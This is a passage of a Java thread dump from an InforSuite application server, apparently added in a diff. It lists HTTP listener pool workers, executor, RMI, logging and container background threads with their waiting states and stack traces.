com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(12)" #79 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-4" #99 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@723e6f60 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-23-thread-1" #151 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(1)" #34 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RMI Scheduler(0)" #127 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1204938d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-kernel(1) SelectorRunner" #106 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.cvicse.inforsuite.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:74) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:299) + at com.cvicse.inforsuite.grizzly.nio.SelectorRunner.run(SelectorRunner.java:239) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:553) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837847663" #23 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7ecd3aba + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-2" #91 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@723e6f60 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[inforsuite-web]]" #143 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1516) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(19)" #86 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-5" #145 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@723e6f60 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(1)" #68 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"SCR Component Actor" #121 daemon [WAITING] on java.util.LinkedList@61c1f346 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:74) + at java.lang.Thread.run(Thread.java:748) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@1a9b87d1]" #128 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3b1928d0 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(11)" #78 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"logging output pump" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74021cf5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:118) + at com.cvicse.loong.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:96) + +"http-thread-pool::http-listener-2(26)" #97 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(3)" #70 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(16)" #83 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"IASFileHandler log pump" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@54e60c40 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.enterprise.server.logging.IASFileHandler.log(IASFileHandler.java:873) + at com.cvicse.loong.enterprise.server.logging.IASFileHandler$3.run(IASFileHandler.java:563) + +"Thread-25" #153 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c25ac63 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(2)" #35 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[inforsuite-web].StandardHost[server].StandardContext[/app]]" #144 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1516) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(24)" #95 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837847660" #20 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7ecd3aba + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(19)" #52 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(14)" #47 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(5)" #72 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-8-thread-1" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44b7a1d2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.bixi.config.Transactions$Notifier$1.run(Transactions.java:123) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"logging output pump" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@60352643 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:118) + at com.cvicse.loong.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:96) + +"pool-15-thread-1" #138 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(21)" #88 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[inforsuite-web].StandardHost[server].StandardContext[]]" #142 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1516) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(20)" #87 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(12)" #45 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-expirer(1)" #105 daemon [TIMED_WAITING] on java.lang.Object@551194f6 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.cvicse.inforsuite.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:130) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"get-gc-info-timer" #111 daemon [TIMED_WAITING] on java.util.TaskQueue@752ec687 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"fileinstall-/usr/local/inforsuite/as/domains/domain1/autodeploy/bundles/" #119 daemon [TIMED_WAITING] on org.apache.felix.fileinstall.internal.DirectoryWatcher@b1d48f3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:268) + +"Thread-23" #141 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7299ca32 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.enterprise.web.logger.FileLoggerHandler.log(FileLoggerHandler.java:67) + at com.cvicse.loong.enterprise.web.logger.FileLoggerHandler.access$100(FileLoggerHandler.java:21) + at com.cvicse.loong.enterprise.web.logger.FileLoggerHandler$1.run(FileLoggerHandler.java:48) + +"http-thread-pool::http-listener-2(18)" #85 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(23)" #92 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(8)" #75 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(2)" #69 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(5)" #38 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-1(23)" #56 daemon [WAITING] on java.lang.Object@5006eea3 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(13)" #80 daemon [WAITING] on java.lang.Object@56886a2d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:160) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:545) + at com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:533) + at java.lang.Thread.run(Thread.java:748) + +"pool-13-thread-1" #136 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3137c8d7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at 